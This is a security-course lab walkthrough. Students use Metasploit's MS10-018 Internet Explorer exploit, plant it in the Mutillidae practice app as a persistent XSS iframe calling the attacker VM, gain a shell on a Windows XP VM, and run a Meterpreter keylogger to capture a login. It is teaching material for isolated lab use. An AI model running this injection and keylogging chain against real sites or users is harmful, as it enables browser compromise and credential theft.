(Mutillidae: Lesson 16)

{ Persistent Covert Cross Site Scripting Injection with Metasploit #3 }

• What is Mutillidae?
  • OWASP Mutillidae II is a free, open source, deliberately vulnerable web-application providing a target for web-security enthusiast.
  
  
• What is Metasploit?
  • The Metasploit Framework is a open source penetration tool used for developing and executing exploit code against a remote target machine it, Metasploit frame work has the world's largest database of public, tested exploits. In simple words, Metasploit can be used to test the Vulnerability of computer systems in order to protect them and on the other hand it can also be used to break into remote systems.
   
• What is the MS10-018 Exploit?
  • Use-after-free vulnerability in the Peer Objects component (aka iepeers.dll) in Microsoft Internet Explorer 6, 6 SP1, and 7 allows remote attackers to execute arbitrary code via vectors involving access to an invalid pointer after the deletion of an object, as exploited in the wild in March 2010, aka "Uninitialized Memory Corruption Vulnerability."
  • http://cvedetails.com/cve/2010-0806
  
  
• What is a Persistent Cross Site Scripting Injection?
  • The persistent XSS vulnerability is a more devastating variant because the injection is actually permanently stored in the blog, message board, etc.
  • Imagine if a sensitive website had a poor designer did not test for injections.  A malicious person could simply put in a hidden cookie harvester script and sit back and watch there logs for SESSION cookies.
   
• Pre-Requisite Lab
  1. Mutillidae: Lesson 1: How to Install Mutillidae in Fedora 14
     • Note: Remote database access has been turned on to provide an additional vulnerability.
  2. BackTrack: Lesson 1: Installing BackTrack 5 R1
     • Note: This is not absolutely necessary, but if you are a computer security student or professional, you should have a BackTrack VM.
  3. BackTrack: Lesson 9: How To Install Firebug
     • Note: Firebug integrates with Firefox to put a wealth of web development tools at your fingertips while you browse. You can edit, debug, and monitor CSS, HTML, and JavaScript live in any web page.
  
  
• Lab Notes
  • In this lab we will do the following:
    1. Due to a purposeful bug in the add-to-your-blog.php code, we will use a Persistent Cross Site Scripting Techniques to insert a Metasploit weblink that attacks IE6, IE7 on Windows NT, 2000, XP, 2003 or Vista.
    2. In the blog, we will insert the Metasploit link as a persistent XSS injection.
    3. We will demonstrate this XSS Injection, when a Windows XP-SP2 machine (running Internet Explorer 6) views the blog with the XSS injection.
    4. We will turn on Key Stroke Recorder.
    5. We will view the Key Stroke Recorder results.

• Legal Disclaimer
  • As a condition of your use of this Web site, you warrant to computersecuritystudent.com that you will not use this Web site for any purpose that is unlawful or that is prohibited by these terms, conditions, and notices.
  • In accordance with UCC § 2-316, this product is provided with "no warranties, either express or implied." The information contained is provided "as-is", with "no guarantee of merchantability."
  • In addition, this is a teaching website that does not condone malicious behavior of any kind.
  • You are on notice, that continuing and/or using this lab outside your "own" test environment is considered malicious and is against the law.
  • © 2013 No content replication of any kind is allowed without express written permission.

   

1. Start VMware Player
   • Instructions
     1. For Windows 7
        1. Click Start Button
        2. Search for "vmware player"
        3. Click VMware Player
     2. For Windows XP
        • Starts --> Programs --> VMware Player
   • 

    

2. Edit Fedora Mutillidae Virtual Machine Settings
   • Instructions:
     1. Highlight Fedora14 - Mutillidae
     2. Click Edit virtual machine settings
   • 

    

3. Edit Network Adapter
• Instructions:
  1. Highlight Network Adapter
  2. Select Bridged
  3. Click the OK Button
• 

1. Start Fedora14 VM Instance
   • Instructions:
     1. Start Up VMWare Player
     2. Select Fedora14 - Mutillidae
     3. Play virtual machine
   • 

    

2. Login to Fedora14 - Mutillidae
   • Instructions:
     1. Login: student
     2. Password: <whatever you set it to>.
   • 

1. Start a Terminal Console
   • Instructions:
     1. Applications --> Terminal
   • 

    

2. Switch user to root
   • Instructions:
     1. su - root
     2. <Whatever you set the root password to>
   • 

    

3. Get IP Address
   • Instructions:
     1. ifconfig -a
   • Notes (FYI):
     • As indicated below, my IP address is 192.168.1.111.
     • Please record your IP address.
   • 

1. Edit the BackTrack5R1 VM
   • Instructions:
     1. Select BackTrack5R1 VM
     2. Click Edit virtual machine settings
   • 

    

2. Edit Virtual Machine Settings
   • Instructions:
     1. Click on Network Adapter
     2. Click on the Bridged Radio button
     3. Click on the OK Button
   • 

1. Start VMware Player
   • Instructions
     1. For Windows 7
        1. Click Start Button
        2. Search for "vmware player"
        3. Click VMware Player
     2. For Windows XP
        • Starts --> Programs --> VMware Player
   • 

    

2. Play the BackTrack5R1 VM
   • Instructions:
     1. Click on the BackTrack5R1 VM
     2. Click on Play virtual machine
   • 

    

3. Login to BackTrack
   • Instructions:
     1. Login: root
     2. Password: toor or <whatever you changed it to>.
   • 

    

4. Bring up the GNOME
   • Instructions:
     1. Type startx
   • 

    

1. Start up a terminal window (On BackTrack5R1)
   • Instructions:
     1. Click on the Terminal Window
   • 

    

2. Obtain the IP Address
   • Instructions:
     1. ifconfig -a
   • Note(FYI):
     • My IP address 192.168.1.112.
     • In your case, it will probably be different.
     • This is the machine that will be use to attack the victim machine (Mutillidae).
   • 

1. Start VMware Player
   • Instructions
     1. For Windows 7
        1. Click Start Button
        2. Search for "vmware player"
        3. Click VMware Player
     2. For Windows XP
        • Starts --> Programs --> VMware Player
   • 

    

2. Edit Virtual Machine Settings
   • Instructions:
     1. Click on Damn Vulnerable WXP-SP2
     2. Edit Virtual Machine Settings
   • Note(FYI):
     1. This third Virtual Machine does not have to be Windows XP.  I just need to be another Virtual Machine to demonstrate how the cookie will be sent covertly with the victim knowing.
   • 

    

3. Set Network Adapter
   • Instructions:
     1. Click on Network Adapter
     2. Click on the radio button "Bridged: Connected directly to the physical network".
   • 

    

4. Start Up Damn Vulnerable WXP-SP2.
   • Instructions:
     1. Start Up your VMware Player
     2. Play virtual machine
   • 

    

5. Logging into Damn Vulnerable WXP-SP2.
   • Instructions:
     1. Username: administrator
     2. Password: <Provide the Password>
   • 

    

6. Open a Command Prompt
   • Instructions:
     1. Start --> All Programs --> Accessories --> Command Prompt
   • 

    

7. Obtain the IP Address
   • Instructions:
     1. In the Command Prompt type "ipconfig"
   • Note(FYI):
     • In my case, Damn Vulnerable WXP-SP2's IP Address 192.168.1.107.
     • This is the IP Address of the Victim Machine.
     • Record your IP Address.
   • 

1. Start msfconsole (On BackTrack5R1)
   • Instructions:
     1. msfconsole
   • Note(FYI):
     1. The msfconsole is the Metasploit Framework Console.
   • 

    

2. Search for MS10-018
   • Instructions:
     1. search ms10_018
     2. use exploit/windows/browser/ms10_018_ie_behaviors
   • Note(FYI):
     1. This module exploits a use-after-free vulnerability within the DHTML behaviors functionality of Microsoft Internet Explorer versions 6 and 7. This bug was discovered being used in-the-wild and was previously known as the "iepeers" vulnerability. The name comes from Microsoft's suggested workaround to block access to the iepeers.dll file.
   • 

    

3. Set Payload
   • Instructions:
     1. set PAYLOAD windows/shell/bind_tcp
     2. show options
   • 

    

4. Set Required Variables
   • Note(FYI):
     • Replace 192.168.1.112 which your BackTrack's IP Address obtained from (Section 6, Step 2).
   • Instructions:
     1. set SRVHOST 192.168.1.112
     2. set URIPATH ms10_018.html
        • It is not necessary to set the URIPATH.  It is not necessary to use the name ms10_018_exploit.html.
     3. show options
   • 

    

5. Start Exploit Server
   • Instructions:
     1. exploit
     2. Highlight the Link
     3. Right Click and Copy the Weblink (See Picture)
   • Note(FYI):
     • The aurora exploit is all set up.
     • The server is started and the daemon is listening.
   • 

    

1. Open Firefox (On BackTrack5R1)
   • Instructions:
     1. Click on the Firefox Icon
   • Notes (FYI):
     • If FireFox Icon does not exist in the Menu Bar Tray, then go to Applications --> Internet --> Firefox Web Browser
   • 

    

2. Open Mutillidae
   • Notes (FYI):
     1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
   • Instructions:
     1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
   • 

    

3. Reset Database
   • Instructions:
     1. Click the Reset DB Link
   • Notes (FYI):
     • This link will remove the XSS Injection from the database.
   • 

    

4. Proceed with Database Reset
   • Instructions:
     1. Click the OK Button
   • 

    

1. Add to your blog
   • Instructions:
     1. OWASP Top 10 --> A2 - Cross Site Scripting(XSS) --> Persistent(Second Order) --> Add to your blog
   • 

    

2. Inspect Element
   • Instructions:
     1. Right Click in the Comment Box
     2. Click Inspect Element
   • Note(FYI):
     1. This is not a necessary step for the injection.  The goal is to allow the injection attempt to remain on the same line instead of being word-wrapped.
   • 

    

3. Change Text Area Column Length
   • Instructions:
     1. Change 65 to 95
     2. Click Close Button (See Picture)
   • 

    

4. Covert Metasploit Cross Site Script (XSS) Injection
   • Note(FYI):
     1. Replace 192.168.1.112 with your BackTrack IP Address obtained in (Section 6, Step 2).
     2. Everytime a users views all the Blog record, the malicious Metasploit link will be executed on the user's browser.
   • Instructions:
     1. Place the below text in the comment box.
        • <iframe src="http://192.168.1.112:8080/ms10_018.html"></iframe>
     2. Click the Save Blog Entry
   • 

    

5. View Metasploit Covert Cross Site Script (XSS) Results
   • Note(FYI):
     1. Notice that is said URL Not Found.
     2. At first glance it looks like we screwed up.  (But did we?).
   • 

    

6. View Metasploit Results
   • Instructions:
     1. Press Enter Once
     2. sessions -l
        • "-l" as in Larry.
   • Notes (FYI):
     1. The reason why the URL was not found in the previous step is because the exploit is geared for IE6, IE7 on Windows NT, 2000, XP, 2003 or Vista.
   • 

1. Start up Internet Explo[d]er (On Damn Vulnerable WXP-SP2)
   • Instructions:
     1. Start --> All Programs --> Internet Explorer
   • 

    

2. Open the Mutillidae Application
   • Notes (FYI):
     1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
   • Instructions:
     1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
     2. OWASP Top 10 --> A2 - Cross Site Scripting(XSS) --> Persistent(Second Order) --> Add to your blog
   • 

    

3. Show All Blog Entries
   • Instructions:
     1. Select Show All from drop down menu
     2. Click the View Blog Entries Button
   • 

    

4. View the Metasploit Aurora Effect
   • Note(FYI):
   1. At first glance the status bar will appear to be loading, then it will just hang.
   2. In a few seconds, Internet Explo[d]er 6, will become un-responsive.
   3. Continue to Next Step.
   • 

1. View Metasploit Connection (On BackTrack)
   • Instructions:
     1. Press Enter Once
     2. sessions -l
        • "-l" as in Larry
   • Note(FYI):
     1. Notice we now have a connection from BackTrack(192.168.1.112) to Damn Vulnerable WXP (192.168.1.107).
   • 

    

2. Create New Meterpreter Session
   • Instructions:
     1. setg LHOST 192.168.1.112
        • This allows you to set the local host's IP address for the reverse communications needed to open the reverse command shell.
     2. sessions -u 1
        • "1" as in the number 1.
   • Note(FYI):
     1. Replace 192.168.1.112 with your BackTrack IP Address obtained from (Section 6, Step 2)
     2. The interpreter will start staging Meterpreter Payload Handler.
     3. Continue to Next Step.
   • 

    

3. Interact with the Meterpreter Session
   • Instructions:
     1. Press <Enter> to get a prompt
     2. sessions -l
        • "-l" as in larry.
        • Notice there are now two sessions: (1) Shell and (2) Meterpreter.
     3. sessions -i 2
        • "-i" means to interact
   • 

    

4. Activate the KeyLogRecorder
   • Instructions:
     1. run keylogrecorder
   • Note(FYI):
     • Notice the message that says the keystrokes are being saved to a file.
     • Record your file.
   • 

1. Kill Hung Mutillidae Webpage (On Damn Vulnerable WXP-SP2)
   • Note(FYI):
     1. If your Internet Explorer session DOES NOT exists, then skill this step.
   • Instructions:
     1. tasklist /V | findstr "mutillidae"
        • Obtain the PID associated with the Mutillidae process.
        • In my case it is 3940.
     2. taskkill /F /PID 3940
        • For the killing of the process ID 3940. 
        • In your case, it will be different.
   • 

    

2. Start up Internet Explo[d]er (On Damn Vulnerable WXP-SP2)
   • Instructions:
     1. Start --> All Programs --> Internet Explorer
   • 

    

3. Open the Mutillidae Application
   • Notes (FYI):
     1. Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
   • Instructions:
     1. Place the following URL in the Address Bar
        • http://192.168.1.111/mutillidae/
        • Type each character to record each keystroke.
     2. Click Login/Register
   • 

    

4. Login
   • Instructions:
     1. Name: samurai
     2. Password: samurai
     3. Click the Login Button
   • Notes(FYI):
     1. We are logging on to Mutillidae to simulate a user logging on to a real application.
     2. The goal is to capture keystrokes.
   • 

1. Stop the key logger recorder(On BackTrack)
   • Instructions:
     1. Copy Key Log Recorder File (See Picture)
     2. Press <Ctrl> and "c" to stop the keylogrecorder
   • 

    

2. Start Another Terminal
   • Instructions:
     1. Click on the Terminal Icon
   • 

    

3. View keylogrecorder File
   • Instructions:
     1. cat /root/.msf4/logs/scripts/keylogrecorder/*.txt
     2. Search for the mutillidae website
     3. Search for the username (samurai) and password (samurai)
   • Note(FYI):
     1. Its not the greatest logger, but it will do the job.
   • 

    

1. Proof of Lab, (On BackTrack5R1)
   • Instructions:
     1. ls -l /root/.msf4/logs/scripts/keylogrecorder/
     2. netstat -nao | egrep '(8080|4444)'
     3. date
     4. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
   • Proof of Lab Instructions
     1. Press both the <Ctrl> and <Alt> keys at the same time.
     2. Do a <PrtScn>
     3. Paste into a word document
     4. Upload to Moodle
   •